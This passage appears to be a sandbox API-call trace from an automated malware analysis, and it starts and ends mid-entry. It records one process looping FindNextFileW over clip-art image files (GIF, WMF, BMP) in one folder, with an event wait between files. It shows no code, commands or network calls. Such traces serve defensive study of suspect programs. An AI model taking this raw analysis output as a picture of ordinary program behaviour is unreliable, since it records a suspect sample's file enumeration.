cAlternateFileName="")) returned 1 [0254.946] ResetEvent (hEvent=0x2b8) returned 1 [0254.946] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.956] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe56c811, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe56c811, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0254.956] ResetEvent (hEvent=0x2b8) returned 1 [0254.956] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.969] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0254.970] ResetEvent (hEvent=0x2b8) returned 1 [0254.970] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.985] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0254.985] ResetEvent (hEvent=0x2b8) returned 1 [0254.985] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.242] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe56c811, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe56c811, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0255.244] ResetEvent (hEvent=0x2b8) returned 1 [0255.244] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.259] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe56c811, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe56c811, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0255.260] ResetEvent (hEvent=0x2b8) returned 1 [0255.260] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.267] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0255.267] ResetEvent (hEvent=0x2b8) returned 1 [0255.267] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.279] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0255.279] ResetEvent (hEvent=0x2b8) returned 1 [0255.279] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.309] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0255.309] ResetEvent (hEvent=0x2b8) returned 1 [0255.309] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.327] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe5dee50, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0255.327] ResetEvent (hEvent=0x2b8) returned 1 [0255.327] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.594] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe5dee50, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0255.594] ResetEvent (hEvent=0x2b8) returned 1 [0255.594] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.611] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0255.611] ResetEvent (hEvent=0x2b8) returned 1 [0255.612] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.625] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe5dee50, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0255.625] ResetEvent (hEvent=0x2b8) returned 1 [0255.625] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.632] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe5dee50, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0255.632] ResetEvent (hEvent=0x2b8) returned 1 [0255.632] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.648] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe5dee50, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0255.648] ResetEvent (hEvent=0x2b8) returned 1 [0255.648] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.667] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe5dee50, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0255.667] ResetEvent (hEvent=0x2b8) returned 1 [0255.667] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.678] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0255.678] ResetEvent (hEvent=0x2b8) returned 1 [0255.680] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.688] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0255.688] ResetEvent (hEvent=0x2b8) returned 1 [0255.688] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.940] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0255.940] ResetEvent (hEvent=0x2b8) returned 1 [0255.941] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.957] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0255.958] ResetEvent (hEvent=0x2b8) returned 1 [0255.958] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0255.966] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0255.966] ResetEvent (hEvent=0x2b8) returned 1 [0255.966] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.006] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0256.006] ResetEvent (hEvent=0x2b8) returned 1 [0256.006] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.011] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0256.011] ResetEvent (hEvent=0x2b8) returned 1 [0256.011] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.039] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0256.039] ResetEvent (hEvent=0x2b8) returned 1 [0256.039] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.060] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0256.061] ResetEvent (hEvent=0x2b8) returned 1 [0256.061] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.069] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dee50, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe5dee50, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0256.069] ResetEvent (hEvent=0x2b8) returned 1 [0256.069] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.351] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0256.351] ResetEvent (hEvent=0x2b8) returned 1 [0256.351] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.389] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0256.390] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0256.390] ResetEvent (hEvent=0x2b8) returned 1 [0256.390] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0256.438] ResetEvent (hEvent=0x2b8) returned 1 [0256.438] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.689] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0256.689] ResetEvent (hEvent=0x2b8) returned 1 [0256.689] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.713] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0256.713] ResetEvent (hEvent=0x2b8) returned 1 [0256.713] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0256.792] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0256.792] ResetEvent (hEvent=0x2b8) returned 1 [0256.792] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0257.600] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0257.600] ResetEvent (hEvent=0x2b8) returned 1 [0257.600] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0257.621] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0257.621] ResetEvent (hEvent=0x2b8) returned 1 [0257.621] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0257.901] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe605048, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe605048, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe605048, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0257.901] ResetEvent (hEvent=0x2b8) returned 1 [0257.901] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.012] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0258.012] ResetEvent (hEvent=0x2b8) returned 1 [0258.012] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.038] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0258.038] ResetEvent (hEvent=0x2b8) returned 1 [0258.038] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.063] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0258.063] ResetEvent 